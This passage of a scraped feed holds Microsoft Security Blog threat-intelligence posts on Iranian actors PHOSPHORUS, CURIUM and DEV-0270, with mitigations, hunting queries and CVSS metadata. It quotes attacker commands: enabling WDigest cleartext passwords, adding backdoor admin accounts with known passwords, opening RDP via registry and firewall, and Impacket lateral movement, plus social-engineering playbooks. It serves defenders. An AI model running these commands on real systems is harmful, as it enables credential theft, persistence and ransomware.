the Fortinet FortiOS SSL VPN and unpatched on-premises Exchange Servers globally with the intent of deploying ransomware on vulnerable networks. A recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describes a similar intrusion in which actors leveraged vulnerabilities in on-premise Exchange Servers to compromise a victim environment and encrypt systems via BitLocker. MSTIC also attributes this activity to PHOSPHORUS. PHOSPHORUS operators conducted widespread scanning and ransomed targeted systems through a five-step process: Scan, Exploit, Review, Stage, Ransom.\n\n### Scan\n\nIn the early part of 2021, PHOSPHORUS actors scanned millions of IPs on the internet for Fortinet FortiOS SSL VPN that were vulnerable to [CVE-2018-13379](<https://www.fortiguard.com/psirt/FG-IR-18-384>). This vulnerability allowed the attackers to collect clear-text credentials from the sessions file on vulnerable Fortinet VPN appliances. The actors collected credentials from over 900 Fortinet VPN servers in the United States, Europe, and Israel so far this year. In the last half of 2021, PHOSPHORUS shifted to scanning for unpatched on-premises Exchange Servers vulnerable to ProxyShell ([CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>)).\n\n### Exploit\n\nWhen they identified vulnerable servers, PHOSPHORUS sought to gain persistence on the target systems. In some instances, the actors downloaded a Plink runner named _MicrosoftOutLookUpdater.exe_. This file would beacon periodically to their C2 servers via SSH, allowing the actors to issue further commands. Later, the actors would download a custom implant via a Base64-encoded PowerShell command. This implant established persistence on the victim system by modifying startup registry keys and ultimately functioned as a loader to download additional tools.\n\n### Review\n\nAfter gaining persistence, PHOSPHORUS actors triaged hundreds of victims to determine which of them were fitting for actions on objectives. On select victims, operators created local administrator accounts with a with a username of \u201chelp\u201d and password of \u201c_AS_@1394\u201d via the commands below. On occasion, actors dumped LSASS to acquire credentials to be used later for lateral movement.\n\n\n\n### Stage and Ransom\n\nFinally, MSTIC observed PHOSPHORUS employing BitLocker to encrypt data and ransom victims at several targeted organizations. BitLocker is a full volume encryption feature meant to be used for legitimate purposes. After compromising the initial server (through vulnerable VPN or Exchange Server), the actors moved laterally to a different system on the victim network to gain access to higher value resources. From there, they deployed a script to encrypt the drives on multiple systems. Victims were instructed to reach out to a specific Telegram page to pay for the decryption key.\n\n\n\n## Patience and persistence\n\nMSTIC has observed PHOSPHORUS threat actors employing social engineering to build rapport with their victims before targeting them. These operations likely required significant investment in the operator\u2019s time and resources to refine and execute. This trend indicates PHOSPHORUS is either moving away from or expanding on their past tactics of sending unsolicited links and attachments in spear-phishing email campaigns to attempt credential theft.\n\n### PHOSHORUS \u2013 Patient and persistent\n\nPHOSPHORUS sends \u201cinterview requests\u201d to target individuals through emails that contain tracking links to confirm whether the user has opened the file. Once a response is received from the target user, PHOSPHORUS attackers send a link to a benign list of interview questions hosted on a cloud service provider. The attackers continue with several back-and-forth conversations discussing the questions with the target user before finally sending a meeting invite with a link masquerading as a Google Meeting.\n\nOnce the meeting invite is sent, the attackers continuously reach out to the target user, asking them to test the Google Meeting link. The attackers contact the targeted user multiple times per day, continuously pestering them to click the link. The attackers even go so far as to offer to call the target user to walk them through clicking the link. The attackers are more than willing to troubleshoot any issues the user has signing into the fake Google Meeting link, which leads to a credential harvesting page.\n\nMSTIC has observed PHOSPHORUS operators become very aggressive in their emails after the initial lure is sent, to the point where they are almost demanding a response from the targeted user.\n\n### CURIUM \u2013 In it for the long run\n\nCURIUM is another Iranian threat actor group that has shown a great deal of patience when targeting users. Instead of phishing emails, CURIUM actors leverage a network of fictitious social media accounts to build trust with targets and deliver malware.\n\nThese attackers have followed the following playbook:\n\n * Masquerade as an attractive woman on social media\n * Establish a connection via social media with a target user via LinkedIn, Facebook, etc.\n * Chat with the target daily\n * Send benign videos of the woman to the target to prime them to lower their guard\n * Send malicious files to the target similar the benign files previously sent\n * Request that the target user open the malicious document\n * Exfiltrate data from the victim machine\n\nThe process above can take multiple months from the initial connection to the delivery of the malicious document. The attackers build a relationship with target users over time by having constant and continuous communications which allows them to build trust and confidence with the target. In many of the cases we have observed, the targets genuinely believed that they were making a human connection and not interacting with a threat actor operating from Iran.\n\nBy exercising patience, building relationships, and pestering targets continuously once a relationship has been formed, Iranian threat actors have had more success in compromising their targets.\n\n## Brute force\n\nIn 2021, MSTIC observed DEV-0343 aggressively targeting Office 365 tenants via an ongoing campaign of password spray attacks. DEV-0343 is a threat actor MSTIC assesses to be likely operating in support of Iranian interests. MSTIC has [blogged about DEV-0343 activity previously](<https://www.microsoft.com/security/blog/2021/10/11/iran-linked-dev-0343-targeting-defense-gis-and-maritime-sectors/>).\n\nAnalysis of Office 365 logs suggests that DEV-0343 is using a red team tool like [o365spray](<https://github.com/0xZDH/o365spray>) to conduct these attacks.\n\nTargeting in this DEV-0343 activity has been observed across defense companies that support United States, European Union, and Israeli government partners producing military-grade radars, drone technology, satellite systems, and emergency response communication systems. Further activity has targeted customers in geographic information systems (GIS), spatial analytics, regional ports of entry in the Persian Gulf, and several maritime and cargo transportation companies with a business focus in the Middle East.\n\nAs we discussed in our previous blog, DEV-0343 operators\u2019 \u2018pattern of life\u2019 is consistent with the working schedule of actors based in Iran. DEV-0343 operator activity peaked Sunday through Thursday between 04:00:00 and 16:00:00 UTC.\n\n\n\n_Figure 2: DEV-0343 observed operating hours in UTC_\n\n\n\n_Figure 3: DEV-0343 observed actor requests per day_\n\nKnown DEV-0343 operators have also been observed targeting the same account on the same tenant being targeted by other known Iranian operators. For example, EUROPIUM operators attempted to access a specific account on June 12, 2021 and ultimately gained access to this account on June 13, 2021. DEV-0343 was then observed targeting this same account within minutes of EUROPIUM operators gaining access to it the same day. MSTIC assesses that these observed overlapping activities suggest a coordination between different Iranian actors pursuing common objectives.\n\n## Closing thoughts: Increasingly capable threat actors\n\nAs Iranian operators have adapted both their strategic goals and tradecraft, over time they have evolved into more competent threat actors capable of conducting a full spectrum of operations including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, Iranian operators have proven themselves to be both willing and able to:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\nMSTIC thanks CyberWarCon 2021 for the opportunity to present this research to the broader security community. Microsoft will continue to monitor all this activity by Iranian actors and implement protections for our customers.\n\n \n\nThe post [Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-16T16:00:08", "type": "mssecure", "title": "Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-11-16T16:00:08", "id": "MSSECURE:C0F4687B18D53FB9596AD4FDF77092D8", "href": "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-09-07T21:16:51", "description": "Microsoft threat intelligence teams have been tracking multiple ransomware campaigns and have tied these attacks to DEV-0270, also known as Nemesis Kitten, a sub-group of [Iranian actor PHOSPHORUS](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>). Microsoft assesses with moderate confidence that DEV-0270 conducts malicious network operations, including widespread vulnerability scanning, on behalf of the government of Iran. However, judging from their geographic and sectoral targeting, which often lacked a strategic value for the regime, we assess with low confidence that some of DEV-0270\u2019s ransomware attacks are a form of moonlighting for personal or company-specific revenue generation. This blog profiles the tactics and techniques behind the DEV-0270/PHOSPHORUS ransomware campaigns. We hope this analysis, which Microsoft is using to protect customers from related attacks, further exposes and disrupts the expansion of DEV-0270\u2019s operations.\n\nDEV-0270 leverages exploits for high-severity vulnerabilities to gain access to devices and is known for the early adoption of newly disclosed vulnerabilities. DEV-0270 also extensively uses living-off-the-land binaries (LOLBINs) throughout the attack chain for discovery and credential access. This extends to its abuse of the built-in BitLocker tool to encrypt files on compromised devices.\n\nIn some instances where encryption was successful, the time to ransom (TTR) between initial access and the ransom note was around two days. The group has been observed demanding USD 8,000 for decryption keys. In addition, the actor has been observed pursuing other avenues to generate income through their operations. In one attack, a victim organization refused to pay the ransom, so the actor opted to post the stolen data from the organization for sale packaged in an SQL database dump.\n\nUsing these observations, this blog details the group\u2019s tactics and techniques across its end-to-end attack chain to help defenders identify, investigate, and mitigate attacks. We also provide extensive hunting queries designed to surface stealthy attacks. This blog also includes protection and hardening guidance to help organizations increase resilience against these and similar attacks.\n\nFigure 1. Typical DEV-0270 attack chain\n\n## Who is DEV-0270?\n\nMicrosoft assesses that DEV-0270 is operated by a company that functions under two public aliases: Secnerd (secnerd[.]ir) and Lifeweb (lifeweb[.]ir). We have observed numerous infrastructure overlaps between DEV-0270 and Secnerd/Lifeweb. These organizations are also linked to Najee Technology Hooshmand (\u0646\u0627\u062c\u06cc \u062a\u06a9\u0646\u0648\u0644\u0648\u0698\u06cc \u0647\u0648\u0634\u0645\u0646\u062f), located in Karaj, Iran.\n\nThe group is typically opportunistic in its targeting: the actor scans the internet to find vulnerable servers and devices, making organizations with vulnerable and discoverable servers and devices susceptible to these attacks.\n\nAs with any observed nation state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft Threat Intelligence Center (MSTIC) to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor.\n\n## Observed actor activity\n\n### Initial access\n\nIn many of the observed DEV-0270 instances, the actor gained access by exploiting known vulnerabilities in Exchange or Fortinet (CVE-2018-13379). For Exchange, the most prevalent exploit has been ProxyLogon\u2014this highlights the need to patch high-severity vulnerabilities in internet-facing devices, as the group has continued to successfully exploit these vulnerabilities even recently, well after updates supplied the fixes. While there have been indications that DEV-0270 attempted to exploit [Log4j 2 vulnerabilities](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>), Microsoft has not observed this activity used against customers to deploy ransomware.\n\n### Discovery\n\nUpon gaining access to an organization, DEV-0270 performs a series of discovery commands to learn more about the environment. The command [_wmic_](<https://docs.microsoft.com/windows/win32/wmisdk/wmic>)_ computersystem get domain _obtains the target\u2019s domain name. The _whoami_ command displays user information and _net user_ command is used to add or modify user accounts. For more information on the accounts created and common password phrases DEV-0270 used, refer to the Advanced Hunting section.\n\n * wmic computersystem get domain\n * whoami\n * net user\n\nOn the compromised Exchange server, the actor used the following command to understand the target environment.\n \n \n Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders\n\nFor discovery of domain controllers, the actor used the following PowerShell and WMI command.\n\n\n\n### Credential access\n\nDEV-0270 often opts for a particular method using a LOLBin to conduct their credential theft, as this removes the need to drop common credential theft tools more likely to be detected and blocked by antivirus and endpoint detection and response (EDR) solutions. This process starts by enabling WDigest in the registry, which results in passwords stored in cleartext on the device and saves the actor time by not having to crack a password hash.\n \n \n \"reg\" add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n\nThe actor then uses _rundll32.exe_ and _comsvcs.dll_ with its built-in MiniDump function to dump passwords from LSASS into a dump file. The command to accomplish this often specifies the output to save the passwords from LSASS. The file name is also reversed to evade detections (_ssasl.dmp)_:\n\n\n\n### Persistence\n\nTo maintain access in a compromised network, the DEV-0270 actor adds or creates a new user account, frequently named _DefaultAccount _with a password of _P@ssw0rd1234,_ to the device using the command _net user /add._ The _DefaultAccoun_t account is typically a pre-existing account set up but not enabled on most Windows systems.\n\nThe attacker then modifies the registry to allow remote desktop (RDP) connections for the device, adds a rule in the firewall using _netsh.exe_ to allow RDP connections, and adds the user to the remote desktop users group:\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v TSEnabled /t REG_DWORD /d 1 /f\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD\n \n \n \"netsh\" advfirewall firewall add rule name=\"Terminal Server\" dir=in action=allow protocol=TCP localport=3389\n\nScheduled tasks are one of the recurrent methods used by DEV-0270 in their attacks to maintain access to a device. Generally, the tasks load via an XML file and are configured to run on boot with the least privilege to launch a .bat via the command prompt. The batch file results in a download of a renamed _dllhost.exe_, a reverse proxy, for maintaining control of the device even if the organization removes the file from the device.\n\nFigure 2. Scheduled task used in DEV-0270 attacks\n\n### Privilege escalation\n\nDEV-0270 can usually obtain initial access with administrator or system-level privileges by injecting their web shell into a privileged process on a vulnerable web server. When the group uses Impacket\u2019s WMIExec to move to other systems on the network laterally, they are typically already using a privileged account to run remote commands. DEV-0270 also commonly dumps LSASS, as mentioned in the credential access section, to obtain local system credentials and masquerade as other local accounts which might have extended privileges.\n\nAnother form of privilege escalation used by DEV-0270 involves the creation or activation of a user account to provide it with administrator privileges. DEV-0270 uses _powershell.exe_ and _net.exe_ commands to create or enable this account and add it to the administrators\u2019 group for higher privileges.\n\n### Defense evasion\n\nDEV-0270 uses a handful of defensive evasion techniques to avoid detection. The threat actors typically turn off Microsoft Defender Antivirus real-time protection to prevent Microsoft Defender Antivirus from blocking the execution of their custom binaries. The threat group creates or activates the _DefaultAccount_ account to add it to the Administrators and Remote Desktop Users groups. The modification of the _DefaultAccount_ provides the threat actor group with a legitimate pre-existing account with nonstandard, higher privileges. DEV-0270 also uses _powershell.exe_ to load their custom root certificate to the local certificate database. This custom certificate is spoofed to appear as a legitimate Microsoft-signed certificate. However, Windows flags the spoofed certificate as invalid due to the unverified certificate signing chain. This certificate allows the group to encrypt their malicious communications to blend in with other legitimate traffic on the network.\n\nAdditionally, DEV-0270 heavily uses native LOLBins to effectively avoid detection. The threat group commonly uses native WMI, net, CMD, and PowerShell commands and registry configurations to maintain stealth and operational security. They also install and masquerade their custom binaries as legitimate processes to hide their presence. Some of the legitimate processes they masquerade their tools as include: _dllhost.exe_, _task_update.exe_, _user.exe_, and _CacheTask_. Using .bat files and _powershell.exe_, DEV-0270 might terminate existing legitimate processes, run their binary with the same process name, and then configure scheduled tasks to ensure the persistence of their custom binaries.\n\n### Lateral movement\n\nDEV-0270 has been seen creating _defaultaccount_ and adding that account to the Remote Desktop Users group. The group uses the RDP connection to move laterally, copy tools to the target device, and perform encryption.\n\nAlong with RDP, [Impacket](<https://github.com/SecureAuthCorp/impacket/>)\u2019s WMIExec is a known toolkit used by the group for lateral movement. In multiple compromises, this was the main method observed for them to pivot to additional devices in the organization, execute commands to find additional high-value targets, and dump credentials for escalating privileges.\n\nAn example of a command using Impacket\u2019s WMIExec from a remote device:\n \n \n cmd.exe /Q /c quser 1> \\\\127.0.0.1\\ADMIN$\\__1657130354.2207212 2>&1\n\n### Impact\n\nDEV-0270 has been seen using _setup.bat_ commands to enable BitLocker encryption, which leads to the hosts becoming inoperable. For workstations, the group uses _DiskCryptor_, an open-source full disk encryption system for Windows that allows for the encryption of a device's entire hard drive. The group drops _DiskCryptor_ from an RDP session and when it is launched, begins the encryption. This method does require a reboot to install and another reboot to lock out access to the workstation.\n\nThe following are DEV-0270\u2019s PowerShell commands using BitLocker:\n\n\n\nMicrosoft will continue to monitor DEV-0270 and PHOSPHORUS activity and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below.\n\n## Recommended mitigation steps\n\nThe techniques used by DEV-0270 can be mitigated through the following actions:\n\n * Apply the [corresponding security updates for Exchange Server](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>), including applicable fixes for [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>). While it is important to prioritize patching of internet-facing Exchange servers to mitigate risk in an ordered manner, unpatched internal Exchange Server instances should also be addressed as soon as possible.\n * For Exchange Server instances in Mainstream Support, critical product updates are released for the most recently released Cumulative Updates (CU) and for the previous CU. For Exchange Server instances in Extended Support, critical product updates are released for the most recently released CU only.\n * If you don't have a supported CU, Microsoft is producing an additional series of security updates (SUs) that can be applied to some older and unsupported CUs to help customers more quickly protect their environment. For information on these updates, see March 2021 Exchange Server Security Updates for older Cumulative Updates of Exchange Server.\n * Installing the updates is the only complete mitigation for these vulnerabilities and has no impact on functionality. If the threat actor has exploited these vulnerabilities to install malware, installing the updates _does not_ remove implanted malware or evict the actor.\n * Use [Microsoft Defender Firewall](<https://support.microsoft.com/windows/turn-microsoft-defender-firewall-on-or-off-ec0844f7-aebd-0583-67fe-601ecf5d774f>), intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among devices whenever possible. This limits lateral movement and other attack activities.\n * Check your perimeter firewall and proxy to restrict or prevent network appliances like Fortinet SSL VPN devices from making arbitrary connections to the internet to browse or download files.\n * Enforce strong local administrator passwords. Use tools like [LAPS](<https://docs.microsoft.com/previous-versions/mt227395\\(v=msdn.10\\)?redirectedfrom=MSDN>).\n * Ensure that [Microsoft Defender Antivirus](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows?view=o365-worldwide>) is up to date and that real-time behavior monitoring is enabled.\n * Keep backups so you can recover data affected by destructive attacks. Use controlled folder access to prevent unauthorized applications from modifying protected files.\n * Turn on the following [attack surface reduction rules](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction>) to block or audit activity associated with this threat:\n * Block credential stealing from the Windows local security authority subsystem (lsass.exe)\n * Block process creations originating from PsExec and WMI commands\n * Block persistence through WMI event subscription. Ensure that Microsoft Defender for Endpoint is up to date and that real-time behavior monitoring is enabled\n\n## Detection details\n\n### Microsoft Defender for Endpoint\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * Malware associated with DEV-0270 activity group detected\n\nThe following additional alerts may also indicate activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.\n\nA script with suspicious content was observed| Suspicious file dropped by Exchange Server process \n---|--- \nA suspicious file was observed| Suspicious Modify Registry \nAnomalous behavior by a common executable| Suspicious Permission Groups Discovery \nLazagne post-exploitation tool| Suspicious PowerShell command line \nLocal Emails Collected| Suspicious PowerShell download or encoded command execution \nMimikatz credential theft tool| Suspicious Process Discovery \n'Mimilove' high-severity malware was prevented| Suspicious process executed PowerShell command \nNew group added suspiciously| Suspicious process launched using dllhost.exe \nOngoing hands-on-keyboard attack via Impacket toolkit| Suspicious 'PShellCobStager' behavior was blocked \nPossible Antimalware Scan Interface (AMSI) tampering| Suspicious Scheduled Task Process Launched \nPossible attempt to discover groups and permissions| Suspicious sequence of exploration activities \nPossible exploitation of Exchange Server vulnerabilities| Suspicious 'SuspExchgSession' behavior was blocked \nPossible exploitation of ProxyShell vulnerabilities| Suspicious System Network Configuration Discovery \nPossible web shell installation| Suspicious System Owner/User Discovery \nProcess memory dump| Suspicious Task Scheduler activity \nSuspicious Account Discovery: Email Account| Suspicious User Account Discovery \nSuspicious behavior by cmd.exe was observed| Suspicious user password change \nSuspicious behavior by svchost.exe was observed| Suspicious w3wp.exe activity in Exchange \nSystem file masquerade \nSuspicious behavior by Web server process| Tampering with the Microsoft Defender for Endpoint sensor \nSuspicious Create Account| Unusual sequence of failed logons \nSuspicious file dropped| WDigest configuration change \n \n## Hunting queries\n\n### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the following queries to look for the related malicious activity in their environments.\n\n**DEV-0270 registry IOC**\n\nThis query identifies modification of registry by DEV-0270 actor to disable security feature as well as to add ransom notes:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270RegistryIOCSep2022.yaml>\n\n**DEV-0270 malicious PowerShell usage**\n\nDEV-0270 heavily uses PowerShell to achieve their objective at various stages of their attack. This query locates PowerShell activity tied to the actor:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270PowershellSep2022.yaml>\n\n**DEV-0270 WMIC discovery**\n\nThis query identifies _dllhost.exe_ using WMIC to discover additional hosts and associated domains in the environment:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270WMICDiscoverySep2022.yaml>\n\n**DEV-0270 new user creation**\n\nThis query tries to detect creation of a new user using a known DEV-0270 username/password schema:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270NewUserSep2022.yaml>\n\n### Microsoft 365 Defender\n\nTo locate possible actor activity, run the following queries.\n\n**Disable services via registry** \nSearch for processes modifying the registry to disable security features. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Disabling%20Services%20via%20Registry.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all(@\u2019\u201dreg\u201d\u2019, \u2018add\u2019, @\u2019\u201dHKLM\\SOFTWARE\\Policies\\\u2019, \u2018/v\u2019,\u2019/t\u2019, \u2018REG_DWORD\u2019, \u2018/d\u2019, \u2018/f\u2019)\n and InitiatingProcessCommandLine has_any(\u2018DisableRealtimeMonitoring\u2019, \u2018UseTPMKey\u2019, \u2018UseTPMKeyPIN\u2019, \u2018UseAdvancedStartup\u2019, \u2018EnableBDEWithNoTPM\u2019, \u2018RecoveryKeyMessageSource\u2019)\n\n**Modifying the registry to add a ransom message notification**\n\nIdentify registry modifications that are indicative of a ransom note tied to DEV-0270. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Modifying%20the%20registry%20to%20add%20a%20ransom%20message%20notification.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all(\u2018\u201dreg\u201d\u2019, \u2018add\u2019, @\u2019\u201dHKLM\\SOFTWARE\\Policies\\\u2019, \u2018/v\u2019,\u2019/t\u2019, \u2018REG_DWORD\u2019, \u2018/d\u2019, \u2018/f\u2019, \u2018RecoveryKeyMessage\u2019, \u2018Your drives are Encrypted!\u2019, \u2018@\u2019)\n\n**DLLHost.exe file creation via PowerShell**\n\nIdentify masqueraded _DLLHost.exe_ file created by PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/DLLHost.exe%20file%20creation%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \u2018powershell.exe\u2019\n | where InitiatingProcessCommandLine has_all(\u2018$file=\u2019, \u2018dllhost.exe\u2019, \u2018Invoke-WebRequest\u2019, \u2018-OutFile\u2019)\n\n**Add malicious user to Admins and RDP users group via PowerShell**\n\nLook for adding a user to Administrators in remote desktop users via PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Add%20malicious%20user%20to%20Admins%20and%20RDP%20users%20group%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ 'powershell.exe'\n | where InitiatingProcessCommandLine has_all('$admins=', 'System.Security.Principal.SecurityIdentifier', 'Translate', '-split', 'localgroup', '/add', '$rdp=')\n\n**Email data exfiltration via PowerShell**\n\nIdentify email exfiltration conducted by PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where FileName =~ 'powershell.exe'\n | where ProcessCommandLine has_all('Add-PSSnapin', 'Get-Recipient', '-ExpandProperty', 'EmailAddresses', 'SmtpAddress', '-hidetableheaders')\n\n**Create new user with known DEV-0270 username/password** \nSearch for the creation of a new user using a known DEV-0270 username/password schema. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Create%20new%20user%20with%20known%20DEV-0270%20username%20and%20password.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all('net user', '/add')\n | parse InitiatingProcessCommandLine with * \"user \" username \" \"*\n | extend password = extract(@\"\\buser\\s+[^\\s]+\\s+([^\\s]+)\", 1, InitiatingProcessCommandLine)\n | where username in('DefaultAccount') or password in('P@ssw0rd1234', '_AS_@1394')\n\n**PowerShell adding exclusion path for Microsoft Defender of ProgramData**\n\nIdentify PowerShell creating an exclusion path of ProgramData directory for Microsoft Defender to not monitor. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/PowerShell%20adding%20exclusion%20path%20for%20Microsoft%20Defender%20of%20ProgramData.yaml>)\n \n \n DeviceProcessEvents\n | where FileName =~ \"powershell.exe\" and ProcessCommandLine has_all(\"try\", \"Add-MpPreference\", \"-ExclusionPath\", \"ProgramData\", \"catch\")\n \n\n**DLLHost.exe WMIC domain discovery**\n\nIdentify dllhost.exe using WMIC to discover additional hosts and associated domain. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/DLLHost.exe%20WMIC%20domain%20discovery.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \"dllhost.exe\" and InitiatingProcessCommandLine == \"dllhost.exe\"\n | where ProcessCommandLine has \"wmic computersystem get domain\"\n \n\nThe post [Profiling DEV-0270: PHOSPHORUS\u2019 ransomware operations](<https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-07T21:00:00", "type": "mssecure", "title": "Profiling DEV-0270: PHOSPHORUS\u2019 ransomware operations", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-44228"], "modified": "2022-09-07T21:00:00", "id": "MSSECURE:1E3441B57C08BC18202B9FE758C2CA71", "href": "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T21:11:26", "description": "_[Note: In this two-part blog series, we expose a modern malware infrastructure and provide guidance for protecting against the wide range of threats it enables. [Part 1](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) covered the evolution of the threat, how it spreads, and how it impacts organizations. Part 2 provides a deep dive on the attacker behavior and outlines 